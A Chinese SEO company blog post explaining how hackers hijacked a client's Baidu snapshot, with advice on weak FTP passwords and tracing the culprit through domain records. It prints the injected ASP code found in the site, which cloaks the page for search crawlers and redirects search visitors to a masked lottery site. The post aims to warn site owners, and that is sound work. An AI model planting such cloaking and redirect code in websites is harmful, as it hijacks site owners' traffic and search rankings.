/ seo优化
百度快照是如何被黑客篡改的?

 2012-05-25 08:37:08  阅读   作者 admin

摘要:

写本篇文章的目的在于揭露一种黑客作弊的手段,也给那些疏于企业网站安全的站长提一个醒。同时提供一种追找黑客行踪的简单方法。前几日,我的客户电话说自己的百度排名没有了,查询下竟然百度标签显示的内容是一家彩票平台的网站内容。 我知道网站被黑客加入了非法代码,恶意篡改了百度快照。(截图如下)查看“百度快照”出现的是一组跳转网站的广告内容。我们对客户设置的网站信息消失了。1、黑客是如何修改百度快照的呢?我进行了排查,客户的网站是使用asp源码开发的。发现有个文件被黑客写入了一段代码。路径:Inc文件夹—SysP

写本篇文章的目的在于揭露一种黑客作弊的手段,也给那些疏于企业网站安全的站长提一个醒。同时提供一种追找黑客行踪的简单方法。

百度快照是如何被黑客篡改的 经验心得 第1张

前几日,我的客户电话说自己的百度排名没有了,查询下竟然百度标签显示的内容是一家彩票平台的网站内容。 我知道网站被黑客加入了非法代码,恶意篡改了百度快照。(截图如下)

百度快照是如何被黑客篡改的 经验心得 第2张

查看“百度快照”出现的是一组跳转网站的广告内容。我们对客户设置的网站信息消失了。

百度快照是如何被黑客篡改的 经验心得 第3张

1、黑客是如何修改百度快照的呢?

我进行了排查,客户的网站是使用asp源码开发的。发现有个文件被黑客写入了一段代码。

路径:Inc文件夹—SysProduct.asp文件里面最底下添加了如下代码:

百度快照是如何被黑客篡改的 经验心得 第4张

  1. <%
  2. functionGetbot()
  3. dims_agent
  4. GetBot=“”
  5. s_agent=Request.ServerVariables(“HTTP_USER_AGENT”)
  6. ifinstr(1,s_agent,“googlebot”,1)>0then
  7. GetBot=“google”
  8. endif
  9. ifinstr(1,s_agent,“baiduspider”,1)>0then
  10. GetBot=“baidu”
  11. endif
  12. endfunction
  13. ifGetBot=“baidu”orGetBot=“google”then
  14. Response.Redirect“http://*********”(跳转的网站,引导百度抓取的内容)
  15. else
  16. Response.Write“<scripttype=”“text/javascript”“>vard=document.referrer;varre=/((wd|q|w|p|query)(=)([%A-Z0-9]*)(%E4%B8%A4%E5%85%83%E5%BD%A9%E7%A5%A8|%E4%B8%A4%E5%85%83%E5%BD%A9%E7%A5%A8%E7%BD%91|%E4%B8%A4%E5%85%83%E5%BD%A9%E7%A5%A8%E5%AE%98%E7%BD%91|%E4%B8%A4%E5%85%83%E5%BD%A9%E7%A5%A8%E5%B9%B3%E5%8F%B0))/;if(re.test(d)){self.location=’http://*********’;(目标网站)window.adworkergo=’ad_app6′}else{}</script>”
  17. endif
  18. %>

黑客设置的这串代码导致百度爬虫抓取网页的时候,直接抓取越过客户网站抓取了跳转网站内容,导致百度快照里面显示的是别的内容。使得客户本来排名首页的网站直接被百度屏蔽了。造成了客户很大的损失。

2、那么黑客是如何进入后台的呢?

黑客要进入后台,必须知道FTP账户和密码,以及IP地址。

造成的原因有如下几种:

1)一方面是FTP密码设置的时候比较简单化,很容易被利用软件破解掉,

2)另一方面选择便宜的空间也是一种隐患。因为空间IP以及用户名是很难被知道的,除非有人提供。

3、网站被黑之后,你如何追查黑客的来源?

方法比较简单,就是查询你跳转的目标网站的域名信息。一般情况下,都是一些小型的站长开发的赚钱网站,通过查询域名信息你可以获知该域名的归属人是谁,他有可能就是黑你网站的人。

如果是比较大型的网站利用外包的方式进行推广,那么你也可以得知负责人,给百度或者是网络警察举报一下,该网站存在恶意攻击修改内容的行为,毕竟它也有一定得责任。

版权声明:本文为 “链子seo” 网络收集,转载请附上保留出处链接及本声明;

原文链接:/Seo/2839.html

下一篇:
留言与评论(共有 条评论)
   
验证码:
关于我们
链子seo网站建设团队专注搜索引擎排名优化,专业做企业网站建设、网站设计制作、网页设计、企业建站做网站、网站SEO优化、网络推广,丰富的建站经验团队,优化团队,对谷歌、百度、360等搜索引擎进行快速优化排名。
扫码关注
联系方式
全国服务热线:15810537727
地址:河南省信阳市
Email:3467894574@qq.com
邮编:464000
Copyright ©2012-2020 Powered by 链子seo